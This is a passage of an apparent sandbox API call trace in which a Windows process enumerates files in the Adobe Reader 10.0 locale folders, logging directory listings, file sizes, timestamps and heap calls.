nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0220.334] GetProcessHeap () returned 0x550000 [0220.334] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0220.334] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0220.335] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.335] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9850, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0220.335] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0220.335] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 0 [0220.335] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0220.336] GetProcessHeap () returned 0x550000 [0220.336] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0220.336] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.FRA", cAlternateFileName="")) returned 1 [0220.336] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f50a880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.FRA", cAlternateFileName="")) returned 1 [0220.336] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.FRA", cAlternateFileName="")) returned 1 [0220.336] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.FRA", cAlternateFileName="")) returned 0 [0220.336] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0220.336] GetProcessHeap () returned 0x550000 [0220.336] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0220.336] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr_HR", cAlternateFileName="")) returned 1 [0220.337] GetProcessHeap () returned 0x550000 [0220.337] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0220.337] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0220.347] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.347] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.HRV", cAlternateFileName="ACCESS~1.HRV")) returned 1 [0220.347] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8322fda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x66600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.HRV", cAlternateFileName="")) returned 1 [0220.347] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d35bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.HRV", cAlternateFileName="ADOBEC~1.HRV")) returned 1 [0220.347] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x76e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.HRV", cAlternateFileName="")) returned 1 [0220.347] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.HRV", cAlternateFileName="BRDLAN~1.HRV")) returned 1 [0220.347] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8322fda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1ea00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.HRV", cAlternateFileName="")) returned 1 [0220.347] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8322fda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.HRV", cAlternateFileName="")) returned 1 [0220.347] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.HRV", cAlternateFileName="")) returned 1 [0220.348] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.HRV", cAlternateFileName="")) returned 1 [0220.348] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.HRV", cAlternateFileName="")) returned 1 [0220.348] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.HRV", cAlternateFileName="")) returned 1 [0220.348] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db4daa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MakeAccessible.HRV", cAlternateFileName="MAKEAC~1.HRV")) returned 1 [0220.348] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.HRV", cAlternateFileName="MULTIM~1.HRV")) returned 1 [0220.348] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db27940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDDom.HRV", cAlternateFileName="")) returned 1 [0220.348] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7e400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.HRV", cAlternateFileName="")) returned 1 [0220.348] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14a200, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.HRV", cAlternateFileName="")) returned 1 [0220.348] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.HRV", cAlternateFileName="READOU~1.HRV")) returned 1 [0220.348] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reflow.HRV", cAlternateFileName="")) returned 1 [0220.349] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dadb680, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.HRV", cAlternateFileName="SAVEAS~1.HRV")) returned 1 [0220.349] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.HRV", cAlternateFileName="")) returned 1 [0220.350] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.HRV", cAlternateFileName="")) returned 1 [0220.350] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0220.350] GetProcessHeap () returned 0x550000 [0220.350] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0220.350] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0220.359] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.359] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9049, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0220.369] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0220.369] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 0 [0220.369] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0220.370] GetProcessHeap () returned 0x550000 [0220.370] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0220.370] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0106a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.HRV", cAlternateFileName="")) returned 1 [0220.370] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5309e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Updater.HRV", cAlternateFileName="")) returned 1 [0220.370] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.HRV", cAlternateFileName="")) returned 1 [0220.370] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.HRV", cAlternateFileName="")) returned 0 [0220.370] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0220.371] GetProcessHeap () returned 0x550000 [0220.371] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0220.371] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu_HU", cAlternateFileName="")) returned 1 [0220.371] 